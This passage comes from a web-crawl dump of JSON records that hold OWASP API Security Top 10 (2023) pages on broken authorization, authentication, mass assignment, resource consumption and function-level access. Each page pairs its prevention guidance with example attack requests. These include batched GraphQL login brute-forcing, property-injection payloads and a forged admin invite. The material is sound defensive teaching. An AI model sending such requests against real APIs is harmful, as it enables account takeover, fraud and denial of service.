that belongs to the\nlogged in user, which leads to a BOLA vulnerability. An attacker can access\nvehicles that don't belong to him.\n\n### Scenario #3\n\nAn online document storage service allows users to view, edit, store and delete\ntheir documents. When a user's document is deleted, a GraphQL mutation with the\ndocument ID is sent to the API.\n\n```\nPOST /graphql\n{\n \"operationName\":\"deleteReports\",\n \"variables\":{\n \"reportKeys\":[\"\"]\n },\n \"query\":\"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) {\n {\n deleteReports(reportKeys: $reportKeys)\n }\n }\"\n}\n```\n\nSince the document with the given ID is deleted without any further permission\nchecks, a user may be able to delete another user's document.\n\n## How To Prevent\n\n- Implement a proper authorization mechanism that relies on the user policies\n and hierarchy.\n- Use the authorization mechanism to check if the logged-in user has access to\n perform the requested action on the record in every function that uses an\n input from the client to access a record in the database.\n- Prefer the use of random and unpredictable values as GUIDs for records' IDs.\n- Write tests to evaluate the vulnerability of the authorization mechanism. Do\n not deploy changes that make the tests fail.\n\n## References\n\n### OWASP\n\n- [Authorization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html)\n- [Authorization Testing Automation Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html)\n\n### External\n\n- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)\n- [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)", "znaku_textu": 5161, "slov": 754, "odkazu": 69, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:44", "sha256": "838060e500f0616879a90bc17077d23f9da72eb8946a53d959a46f8ed5c9249e", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/285.html", "https://cwe.mitre.org/data/definitions/639.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/", "titulek": "API2:2023 Broken Authentication - OWASP API Security Top 10", "h1": "API2:2023 Broken Authentication", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API2:2023 Broken Authentication"}, {"uroven": 2, "text": "Is the API Vulnerable?"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 2, "text": "Scenario #1"}, {"uroven": 2, "text": "Scenario #2"}, {"uroven": 2, "text": "How To Prevent"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "External"}], "markdown": "# API2:2023 Broken Authentication\n\n| Threat agents/Attack vectors | Security Weakness | Impacts |\n| --- | --- | --- |\n| API Specific : Exploitability **Easy** | Prevalence **Common** : Detectability **Easy** | Technical **Severe** : Business Specific |\n| The authentication mechanism is an easy target for attackers since it's exposed to everyone. Although more advanced technical skills may be required to exploit some authentication issues, exploitation tools are generally available. | Software and security engineers’ misconceptions regarding authentication boundaries and inherent implementation complexity make authentication issues prevalent. Methodologies of detecting broken authentication are available and easy to create. | Attackers can gain complete control of other users’ accounts in the system, read their personal data, and perform sensitive actions on their behalf. Systems are unlikely to be able to distinguish attackers’ actions from legitimate user ones. |\n\n## Is the API Vulnerable?\n\nAuthentication endpoints and flows are assets that need to be protected.\nAdditionally, \"Forgot password / reset password\" should be treated the same way\nas authentication mechanisms.\n\nAn API is vulnerable if it:\n\n- Permits credential stuffing where the attacker uses brute force with a list\n of valid usernames and passwords.\n- Permits attackers to perform a brute force attack on the same user account,\n without presenting captcha/account lockout mechanism.\n- Permits weak passwords.\n- Sends sensitive authentication details, such as auth tokens and passwords in\n the URL.\n- Allows users to change their email address, current password, or do any other\n sensitive operations without asking for password confirmation.\n- Doesn't validate the authenticity of tokens.\n- Accepts unsigned/weakly signed JWT tokens ( `{\"alg\":\"none\"}` )\n- Doesn't validate the JWT expiration date.\n- Uses plain text, non-encrypted, or weakly hashed passwords.\n- Uses weak encryption keys.\n\nOn top of that, a microservice is vulnerable if:\n\n- Other microservices can access it without authentication\n- Uses weak or predictable tokens to enforce authentication\n\n## Example Attack Scenarios\n\n## Scenario #1\n\nIn order to perform user authentication the client has to issue an API request\nlike the one below with the user credentials:\n\n```\nPOST /graphql\n{\n \"query\":\"mutation {\n login (username:\\\"\\\",password:\\\"\\\") {\n token\n }\n }\"\n}\n```\n\nIf credentials are valid, then an auth token is returned which should be\nprovided in subsequent requests to identify the user. Login attempts are\nsubject to restrictive rate limiting: only three requests are allowed per\nminute.\n\nTo brute force log in with a victim's account, bad actors leverage GraphQL\nquery batching to bypass the request rate limiting, speeding up the attack:\n\n```\nPOST /graphql\n[\n {\"query\":\"mutation{login(username:\\\"victim\\\",password:\\\"password\\\"){token}}\"},\n {\"query\":\"mutation{login(username:\\\"victim\\\",password:\\\"123456\\\"){token}}\"},\n {\"query\":\"mutation{login(username:\\\"victim\\\",password:\\\"qwerty\\\"){token}}\"},\n ...\n {\"query\":\"mutation{login(username:\\\"victim\\\",password:\\\"123\\\"){token}}\"},\n]\n```\n\n## Scenario #2\n\nIn order to update the email address associated with a user's account, clients\nshould issue an API request like the one below:\n\n```\nPUT /account\nAuthorization: Bearer \n\n{ \"email\": \"\" }\n```\n\nBecause the API does not require users to confirm their identity by providing\ntheir current password, bad actors able to put themselves in a position to\nsteal the auth token might be able to take over the victim's account by starting\nthe reset password workflow after updating the email address of the victim's\naccount.\n\n## How To Prevent\n\n- Make sure you know all the possible flows to authenticate to the API\n (mobile/ web/deep links that implement one-click authentication/etc.). Ask\n your engineers what flows you missed.\n- Read about your authentication mechanisms. Make sure you understand what and\n how they are used. OAuth is not authentication, and neither are API keys.\n- Don't reinvent the wheel in authentication, token generation, or password\n storage. Use the standards.\n- Credential recovery/forgot password endpoints should be treated as login\n endpoints in terms of brute force, rate limiting, and lockout protections.\n- Require re-authentication for sensitive operations (e.g. changing the account\n owner email address/2FA phone number).\n- Use the [OWASP Authentication Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html) .\n- Where possible, implement multi-factor authentication.\n- Implement anti-brute force mechanisms to mitigate credential stuffing,\n dictionary attacks, and brute force attacks on your authentication endpoints.\n This mechanism should be stricter than the regular rate limiting mechanisms\n on your APIs.\n- Implement [account lockout](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism(OTG-AUTHN-003)) /captcha mechanisms to prevent brute force\n attacks against specific users. Implement weak-password checks.\n- API keys should not be used for user authentication. They should only be used\n for [API clients](https://cloud.google.com/endpoints/docs/openapi/when-why-api-key) authentication.\n\n## References\n\n### OWASP\n\n- [Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [Key Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html)\n- [Credential Stuffing](https://owasp.org/www-community/attacks/Credential_stuffing)\n\n### External\n\n- [CWE-204: Observable Response Discrepancy](https://cwe.mitre.org/data/definitions/204.html)\n- [CWE-307: Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)", "znaku_textu": 5794, "slov": 706, "odkazu": 71, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:45", "sha256": "39896849743eb8bb01fede62bf479c6cd04e01e8b0d8a323a0ccf531ad6522fa", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://cloud.google.com/endpoints/docs/openapi/when-why-api-key", "https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/204.html", "https://cwe.mitre.org/data/definitions/307.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/", "titulek": "API3:2023 Broken Object Property Level Authorization - OWASP API Security Top 10", "h1": "API3:2023 Broken Object Property Level Authorization", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API3:2023 Broken Object Property Level Authorization"}, {"uroven": 2, "text": "Is the API Vulnerable?"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1"}, {"uroven": 3, "text": "Scenario #2"}, {"uroven": 3, "text": "Scenario #3"}, {"uroven": 2, "text": "How To Prevent"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "External"}], "markdown": "# API3:2023 Broken Object Property Level Authorization\n\n| Threat agents/Attack vectors | Security Weakness | Impacts |\n| --- | --- | --- |\n| API Specific : Exploitability **Easy** | Prevalence **Common** : Detectability **Easy** | Technical **Moderate** : Business Specific |\n| APIs tend to expose endpoints that return all object’s properties. This is particularly valid for REST APIs. For other protocols such as GraphQL, it may require crafted requests to specify which properties should be returned. Identifying these additional properties that can be manipulated requires more effort, but there are a few automated tools available to assist in this task. | Inspecting API responses is enough to identify sensitive information in returned objects’ representations. Fuzzing is usually used to identify additional (hidden) properties. Whether they can be changed is a matter of crafting an API request and analyzing the response. Side-effect analysis may be required if the target property is not returned in the API response. | Unauthorized access to private/sensitive object properties may result in data disclosure, data loss, or data corruption. Under certain circumstances, unauthorized access to object properties can lead to privilege escalation or partial/full account takeover. |\n\n## Is the API Vulnerable?\n\nWhen allowing a user to access an object using an API endpoint, it is important\nto validate that the user has access to the specific object properties they are\ntrying to access.\n\nAn API endpoint is vulnerable if:\n\n- The API endpoint exposes properties of an object that are considered\n sensitive and should not be read by the user. (previously named: \" [Excessive\n Data Exposure](https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/) \")\n- The API endpoint allows a user to change, add/or delete the value of a\n sensitive object's property which the user should not be able to access\n (previously named: \" [Mass Assignment](https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/) \")\n\n## Example Attack Scenarios\n\n### Scenario #1\n\nA dating app allows a user to report other users for inappropriate behavior.\nAs part of this flow, the user clicks on a \"report\" button, and the following\nAPI call is triggered:\n\n```\nPOST /graphql\n{\n \"operationName\":\"reportUser\",\n \"variables\":{\n \"userId\": 313,\n \"reason\":[\"offensive behavior\"]\n },\n \"query\":\"mutation reportUser($userId: ID!, $reason: String!) {\n reportUser(userId: $userId, reason: $reason) {\n status\n message\n reportedUser {\n id\n fullName\n recentLocation\n }\n }\n }\"\n}\n```\n\nThe API Endpoint is vulnerable since it allows the authenticated user to have\naccess to sensitive (reported) user object properties, such as \"fullName\" and\n\"recentLocation\" that are not supposed to be accessed by other users.\n\n### Scenario #2\n\nAn online marketplace platform, that offers one type of users (\"hosts\") to rent\nout their apartment to another type of users (\"guests\"), requires the host to\naccept a booking made by a guest, before charging the guest for the stay.\n\nAs part of this flow, an API call is sent by the host to\n`POST /api/host/approve_booking` with the following legitimate payload:\n\n```\n{\n \"approved\": true,\n \"comment\": \"Check-in is after 3pm\"\n}\n```\n\nThe host replays the legitimate request, and adds the following malicious\npayload:\n\n```\n{\n \"approved\": true,\n \"comment\": \"Check-in is after 3pm\",\n \"total_stay_price\": \"$1,000,000\"\n}\n```\n\nThe API endpoint is vulnerable because there is no validation that the host\nshould have access to the internal object property - `total_stay_price`, and\nthe guest will be charged more than she was supposed to be.\n\n### Scenario #3\n\nA social network that is based on short videos, enforces restrictive content\nfiltering and censorship. Even if an uploaded video is blocked, the user can\nchange the description of the video using the following API request:\n\n```\nPUT /api/video/update_video\n\n{\n \"description\": \"a funny video about cats\"\n}\n```\n\nA frustrated user can replay the legitimate request, and add the following\nmalicious payload:\n\n```\n{\n \"description\": \"a funny video about cats\",\n \"blocked\": false\n}\n```\n\nThe API endpoint is vulnerable because there is no validation if the user\nshould have access to the internal object property - `blocked`, and the user\ncan change the value from `true` to `false` and unlock their own blocked\ncontent.\n\n## How To Prevent\n\n- When exposing an object using an API endpoint, always make sure that the user\n should have access to the object's properties you expose.\n- Avoid using generic methods such as `to_json()` and `to_string()` . Instead,\n cherry-pick specific object properties you specifically want to return.\n- If possible, avoid using functions that automatically bind a client's input\n into code variables, internal objects, or object properties\n (\"Mass Assignment\").\n- Allow changes only to the object's properties that should be updated by the\n client.\n- Implement a schema-based response validation mechanism as an extra layer of\n security. As part of this mechanism, define and enforce data returned by all\n API methods.\n- Keep returned data structures to the bare minimum, according to the\n business/functional requirements for the endpoint.\n\n## References\n\n### OWASP\n\n- [API3:2019 Excessive Data Exposure - OWASP API Security Top 10 2019](https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/)\n- [API6:2019 - Mass Assignment - OWASP API Security Top 10 2019](https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/)\n- [Mass Assignment Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n\n### External\n\n- [CWE-213: Exposure of Sensitive Information Due to Incompatible Policies](https://cwe.mitre.org/data/definitions/213.html)\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)", "znaku_textu": 5775, "slov": 810, "odkazu": 70, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:46", "sha256": "2643364bd8ff000b7cc3580c26e8487914361e10f546a6d8ec7abd4cc3972400", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/213.html", "https://cwe.mitre.org/data/definitions/915.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/en/0xa4-unrestricted-resource-consumption/", "titulek": "API4:2023 Unrestricted Resource Consumption - OWASP API Security Top 10", "h1": "API4:2023 Unrestricted Resource Consumption", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/en/0xa4-unrestricted-resource-consumption/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API4:2023 Unrestricted Resource Consumption"}, {"uroven": 2, "text": "Is the API Vulnerable?"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1"}, {"uroven": 3, "text": "Scenario #2"}, {"uroven": 3, "text": "Scenario #3"}, {"uroven": 2, "text": "How To Prevent"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "External"}], "markdown": "# API4:2023 Unrestricted Resource Consumption\n\n| Threat agents/Attack vectors | Security Weakness | Impacts |\n| --- | --- | --- |\n| API Specific : Exploitability **Average** | Prevalence **Widespread** : Detectability **Easy** | Technical **Severe** : Business Specific |\n| Exploitation requires simple API requests. Multiple concurrent requests can be performed from a single local computer or by using cloud computing resources. Most of the automated tools available are designed to cause DoS via high loads of traffic, impacting APIs’ service rate. | It's common to find APIs that do not limit client interactions or resource consumption. Crafted API requests, such as those including parameters that control the number of resources to be returned and performing response status/time/length analysis should allow identification of the issue. The same is valid for batched operations. Although threat agents don't have visibility over costs impact, this can be inferred based on service providers’ (e.g. cloud provider) business/pricing model. | Exploitation can lead to DoS due to resource starvation, but it can also lead to operational costs increase such as those related to the infrastructure due to higher CPU demand, increasing cloud storage needs, etc. |\n\n## Is the API Vulnerable?\n\nSatisfying API requests requires resources such as network bandwidth, CPU,\nmemory, and storage. Sometimes required resources are made available by service\nproviders via API integrations, and paid for per request, such as sending\nemails/SMS/phone calls, biometrics validation, etc.\n\nAn API is vulnerable if at least one of the following limits is missing or set\ninappropriately (e.g. too low/high):\n\n- Execution timeouts\n- Maximum allocable memory\n- Maximum number of file descriptors\n- Maximum number of processes\n- Maximum upload file size\n- Number of operations to perform in a single API client request (e.g. GraphQL\n batching)\n- Number of records per page to return in a single request-response\n- Third-party service providers' spending limit\n\n## Example Attack Scenarios\n\n### Scenario #1\n\nA social network implemented a “forgot password” flow using SMS verification,\nenabling the user to receive a one time token via SMS in order to reset their\npassword.\n\nOnce a user clicks on \"forgot password\" an API call is sent from the user's\nbrowser to the back-end API:\n\n```\nPOST /initiate_forgot_password\n\n{\n \"step\": 1,\n \"user_number\": \"6501113434\"\n}\n```\n\nThen, behind the scenes, an API call is sent from the back-end to a 3rd party\nAPI that takes care of the SMS delivering:\n\n```\nPOST /sms/send_reset_pass_code\n\nHost: willyo.net\n\n{\n \"phone_number\": \"6501113434\"\n}\n```\n\nThe 3rd party provider, Willyo, charges $0.05 per this type of call.\n\nAn attacker writes a script that sends the first API call tens of thousands of\ntimes. The back-end follows and requests Willyo to send tens of thousands of\ntext messages, leading the company to lose thousands of dollars in a matter of\nminutes.\n\n### Scenario #2\n\nA GraphQL API Endpoint allows the user to upload a profile picture.\n\n```\nPOST /graphql\n\n{\n \"query\": \"mutation {\n uploadPic(name: \\\"pic1\\\", base64_pic: \\\"R0FOIEFOR0xJVA…\\\") {\n url\n }\n }\"\n}\n```\n\nOnce the upload is complete, the API generates multiple thumbnails with\ndifferent sizes based on the uploaded picture. This graphical operation takes a\nlot of memory from the server.\n\nThe API implements a traditional rate limiting protection - a user can't access\nthe GraphQL endpoint too many times in a short period of time. The API also\nchecks for the uploaded picture's size before generating thumbnails to avoid\nprocessing pictures that are too large.\n\nAn attacker can easily bypass those mechanisms, by leveraging the flexible\nnature of GraphQL:\n\n```\nPOST /graphql\n\n[\n {\"query\": \"mutation {uploadPic(name: \\\"pic1\\\", base64_pic: \\\"R0FOIEFOR0xJVA…\\\") {url}}\"},\n {\"query\": \"mutation {uploadPic(name: \\\"pic2\\\", base64_pic: \\\"R0FOIEFOR0xJVA…\\\") {url}}\"},\n ...\n {\"query\": \"mutation {uploadPic(name: \\\"pic999\\\", base64_pic: \\\"R0FOIEFOR0xJVA…\\\") {url}}\"},\n}\n```\n\nBecause the API does not limit the number of times the `uploadPic` operation can\nbe attempted, the call will lead to exhaustion of server memory and Denial of\nService.\n\n### Scenario #3\n\nA service provider allows clients to download arbitrarily large files using its\nAPI. These files are stored in cloud object storage and they don't change that\noften. The service provider relies on a cache service to have a better service\nrate and to keep bandwidth consumption low. The cache service only caches files\nup to 15GB.\n\nWhen one of the files gets updated, its size increases to 18GB. All service\nclients immediately start pulling the new version. Because there were no\nconsumption cost alerts, nor a maximum cost allowance for the cloud service,\nthe next monthly bill increases from US$13, on average, to US$8k.\n\n## How To Prevent\n\n- Use a solution that makes it easy to limit [memory](https://docs.docker.com/config/containers/resource_constraints/#memory) , [CPU](https://docs.docker.com/config/containers/resource_constraints/#cpu) , [number of restarts](https://docs.docker.com/engine/reference/commandline/run/#restart) , [file descriptors, and processes](https://docs.docker.com/engine/reference/commandline/run/#ulimit) such\n as Containers / Serverless code (e.g. Lambdas).\n- Define and enforce a maximum size of data on all incoming parameters and\n payloads, such as maximum length for strings, maximum number of elements in\n arrays, and maximum upload file size (regardless of whether it is stored\n locally or in cloud storage).\n- Implement a limit on how often a client can interact with the API within a\n defined timeframe (rate limiting).\n- Rate limiting should be fine tuned based on the business needs. Some API\n Endpoints might require stricter policies.\n- Limit/throttle how many times or how often a single API client/user can\n execute a single operation (e.g. validate an OTP, or request password\n recovery without visiting the one-time URL).\n- Add proper server-side validation for query string and request body\n parameters, specifically the one that controls the number of records to be\n returned in the response.\n- Configure spending limits for all service providers/API integrations. When\n setting spending limits is not possible, billing alerts should be configured\n instead.\n\n## References\n\n### OWASP\n\n- [\"Availability\" - Web Service Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html#availability)\n- [\"DoS Prevention\" - GraphQL Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#dos-prevention)\n- [\"Mitigating Batching Attacks\" - GraphQL Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks)\n\n### External\n\n- [CWE-770: Allocation of Resources Without Limits or Throttling](https://cwe.mitre.org/data/definitions/770.html)\n- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [CWE-799: Improper Control of Interaction Frequency](https://cwe.mitre.org/data/definitions/799.html)\n- \"Rate Limiting (Throttling)\" - [Security Strategies for Microservices-based\n Application Systems](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf) , NIST", "znaku_textu": 7155, "slov": 966, "odkazu": 76, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:47", "sha256": "9a39250b38962db78112b2fdd052b1f2002dc7cddd67bc11f4ffb42081bae012", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://docs.docker.com/config/containers/resource_constraints/", "https://docs.docker.com/engine/reference/commandline/run/", "https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/770.html", "https://cwe.mitre.org/data/definitions/400.html", "https://cwe.mitre.org/data/definitions/799.html", "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/en/0xa5-broken-function-level-authorization/", "titulek": "API5:2023 Broken Function Level Authorization - OWASP API Security Top 10", "h1": "API5:2023 Broken Function Level Authorization", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/en/0xa5-broken-function-level-authorization/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API5:2023 Broken Function Level Authorization"}, {"uroven": 2, "text": "Is the API Vulnerable?"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1"}, {"uroven": 3, "text": "Scenario #2"}, {"uroven": 2, "text": "How To Prevent"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "External"}], "markdown": "# API5:2023 Broken Function Level Authorization\n\n| Threat agents/Attack vectors | Security Weakness | Impacts |\n| --- | --- | --- |\n| API Specific : Exploitability **Easy** | Prevalence **Common** : Detectability **Easy** | Technical **Severe** : Business Specific |\n| Exploitation requires the attacker to send legitimate API calls to an API endpoint that they should not have access to as anonymous users or regular, non-privileged users. Exposed endpoints will be easily exploited. | Authorization checks for a function or resource are usually managed via configuration or code level. Implementing proper checks can be a confusing task since modern applications can contain many types of roles, groups, and complex user hierarchies (e.g. sub-users, or users with more than one role). It's easier to discover these flaws in APIs since APIs are more structured, and accessing different functions is more predictable. | Such flaws allow attackers to access unauthorized functionality. Administrative functions are key targets for this type of attack and may lead to data disclosure, data loss, or data corruption. Ultimately, it may lead to service disruption. |\n\n## Is the API Vulnerable?\n\nThe best way to find broken function level authorization issues is to perform\na deep analysis of the authorization mechanism while keeping in mind the user\nhierarchy, different roles or groups in the application, and asking the\nfollowing questions:\n\n- Can a regular user access administrative endpoints?\n- Can a user perform sensitive actions (e.g. creation, modification, or\n deletion ) that they should not have access to by simply changing the HTTP\n method (e.g. from `GET` to `DELETE` )?\n- Can a user from group X access a function that should be exposed only to\n users from group Y, by simply guessing the endpoint URL and parameters\n (e.g. `/api/v1/users/export_all` )?\n\nDon't assume that an API endpoint is regular or administrative only based on\nthe URL path.\n\nWhile developers might choose to expose most of the administrative endpoints\nunder a specific relative path, like `/api/admins`, it's very common to find\nthese administrative endpoints under other relative paths together with regular\nendpoints, like `/api/users`.\n\n## Example Attack Scenarios\n\n### Scenario #1\n\nDuring the registration process for an application that allows only invited\nusers to join, the mobile application triggers an API call to\n`GET /api/invites/{invite_guid}`. The response contains a JSON with details\nabout the invite, including the user's role and the user's email.\n\nAn attacker duplicates the request and manipulates the HTTP method and endpoint\nto `POST /api/invites/new`. This endpoint should only be accessed by\nadministrators using the admin console. The endpoint does not implement\nfunction level authorization checks.\n\nThe attacker exploits the issue and sends a new invite with admin privileges:\n\n```\nPOST /api/invites/new\n\n{\n \"email\": \"[email protected]\",\n \"role\":\"admin\"\n}\n```\n\nLater on, the attacker uses the maliciously crafted invite in order to create\nthemselves an admin account and gain full access to the system.\n\n### Scenario #2\n\nAn API contains an endpoint that should be exposed only to administrators -\n`GET /api/admin/v1/users/all`. This endpoint returns the details of all the\nusers of the application and does not implement function level authorization\nchecks. An attacker who learned the API structure takes an educated guess and\nmanages to access this endpoint, which exposes sensitive details of the users\nof the application.\n\n## How To Prevent\n\nYour application should have a consistent and easy-to-analyze authorization\nmodule that is invoked from all your business functions. Frequently, such\nprotection is provided by one or more components external to the application\ncode.\n\n- The enforcement mechanism(s) should deny all access by default, requiring\n explicit grants to specific roles for access to every function.\n- Review your API endpoints against function level authorization flaws, while\n keeping in mind the business logic of the application and groups hierarchy.\n- Make sure that all of your administrative controllers inherit from an\n administrative abstract controller that implements authorization checks\n based on the user's group/role.\n- Make sure that administrative functions inside a regular controller implement\n authorization checks based on the user's group and role.\n\n## References\n\n### OWASP\n\n- [Forced Browsing](https://owasp.org/www-community/attacks/Forced_browsing)\n- \"A7: Missing Function Level Access Control\", [OWASP Top 10 2013](https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf)\n- [Access Control](https://owasp.org/www-community/Access_Control)\n\n### External\n\n- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)", "znaku_textu": 4696, "slov": 668, "odkazu": 69, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:48", "sha256": "d5855136c60eea3dfd4d8ffc0896e358d115ad94e82428cf666ed82614c8fe47", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf", "https://cwe.mitre.org/data/definitions/285.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows/", "titulek": "API6:2023 Unrestricted Access to Sensitive Business Flows - OWASP API Security Top 10", "h1": "API6:2023 Unrestricted Access to Sensitive Business Flows", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API6:2023 Unrestricted Access to Sensitive Business Flows"}, {"uroven": 2, "text": "Is the API Vulnerable?"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1"}, {"uroven": 3, "text": "Scenario #2"}, {"uroven": 3, "text": "Scenario #3"}, {"uroven": 2, "text": "How To Prevent"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP"}], "markdown": "# API6:2023 Unrestricted Access to Sensitive Business Flows\n\n| Threat agents/Attack vectors | Security Weakness | Impacts |\n| --- | --- | --- |\n| API Specific : Exploitability **Easy** | Prevalence **Widespread** : Detectability **Average** | Technical **Moderate** : Business Specific |\n| Exploitation usually involves understanding the business model backed by the API, finding sensitive business flows, and automating access to these flows, causing harm to the business. | Lack of a holistic view of the API in order to fully support business requirements tends to contribute to the prevalence of this issue. Attackers manually identify what resources (e.g. endpoints) are involved in the target workflow and how they work together. If mitigation mechanisms are already in place, attackers need to find a way to bypass them. | In general technical impact is not expected. Exploitation might hurt the business in different ways, for example: prevent legitimate users from purchasing a product, or lead to inflation in the internal economy of a game. |\n\n## Is the API Vulnerable?\n\nWhen creating an API Endpoint, it is important to understand which business flow\nit exposes. Some business flows are more sensitive than others, in the sense\nthat excessive access to them may harm the business.\n\nCommon examples of sensitive business flows and risk of excessive access\nassociated with them:\n\n- Purchasing a product flow - an attacker can buy all the stock of a high-demand\n item at once and resell for a higher price (scalping)\n- Creating a comment/post flow - an attacker can spam the system\n- Making a reservation - an attacker can reserve all the available time slots\n and prevent other users from using the system\n\nThe risk of excessive access might change between industries and businesses.\nFor example - creation of posts by a script might be considered as a risk of\nspam by one social network, but encouraged by another social network.\n\nAn API 